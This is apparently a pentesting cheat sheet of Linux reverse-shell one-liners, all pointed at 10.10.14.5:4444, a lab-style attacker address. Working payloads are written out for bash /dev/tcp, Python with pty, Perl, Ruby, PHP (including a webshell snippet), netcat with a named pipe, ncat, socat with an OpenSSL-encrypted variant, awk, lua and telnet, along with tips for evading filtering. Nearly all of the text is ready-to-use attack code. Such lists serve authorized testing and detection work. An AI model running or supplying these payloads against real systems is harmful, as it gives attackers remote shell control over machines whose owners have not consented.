Linux targets are the easy case — almost every box ships with at least one interpreter you can abuse. The job is to pick whichever is installed, fire a one-liner, and catch the connection.
Before you commit to a payload, check what’s available:
which bash python python3 perl ruby php nc ncat socat curl wgetBash — Always There
bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'Variations that dodge quoting or filtering:
bash -c 'exec bash -i &>/dev/tcp/10.10.14.5/4444 <&1'
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
0<&196;exec 196<>/dev/tcp/10.10.14.5/4444; sh <&196 >&196 2>&196/dev/tcp is a bash feature
sh,dash, andashdon’t have/dev/tcp. If the only shell issh, use the nc or python fallbacks instead.
Python
Python’s pty.spawn gives you a TTY-attached shell from the start — a big upgrade over plain bash.
# Python 3 with PTY — arrives as a usable interactive shell
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.5",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'
# Python 2 fallback
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'Perl
Still installed on most RHEL/CentOS boxes and anything with Apache + CGI.
perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Ruby
ruby -rsocket -e 'f=TCPSocket.open("10.10.14.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'PHP
Useful when your RCE is in a PHP app and you just want to shell out from the webshell.
php -r '$sock=fsockopen("10.10.14.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'For a webshell drop-in:
<?php
$sock=fsockopen("10.10.14.5",4444);
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>Netcat
If netcat is installed with -e, it’s a one-liner. The -e flag is disabled on most modern distros.
# with -e
nc -e /bin/sh 10.10.14.5 4444
# without -e — use a named pipe
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/fncat (from nmap) always has -e:
ncat 10.10.14.5 4444 -e /bin/bashSocat — The Nicest Shell
Socat can give you a fully-featured PTY from the first keystroke — no TTY upgrade dance needed.
# attacker (listener)
socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:4444
# victim
socat TCP:10.10.14.5:4444 EXEC:"bash -li",pty,stderr,setsid,sigint,saneFor an encrypted channel:
# generate cert on attacker
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 362 -out cert.pem
cat key.pem cert.pem > server.pem
# listener
socat OPENSSL-LISTEN:4444,cert=server.pem,verify=0 file:`tty`,raw,echo=0
# victim
socat OPENSSL:10.10.14.5:4444,verify=0 EXEC:"bash -li",pty,stderr,setsid,sigint,saneawk / lua / telnet (when nothing else exists)
awk 'BEGIN {s = "/inet/tcp/0/10.10.14.5/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}'
lua -e 'local s=require("socket");local t=assert(s.tcp());t:connect("10.10.14.5",4444);while true do local r,x=t:receive();local f=io.popen(r,"r");local b=f:read("*a");f:close();t:send(b);end'
# telnet pair (two listeners)
mknod backpipe p && telnet 10.10.14.5 4444 0<backpipe | /bin/bash 1>backpipeTest the listener before the payload
Before firing any one-liner through RCE, run
nc attacker-ip 4444from any shell you control to confirm the listener works and the port is actually reachable.
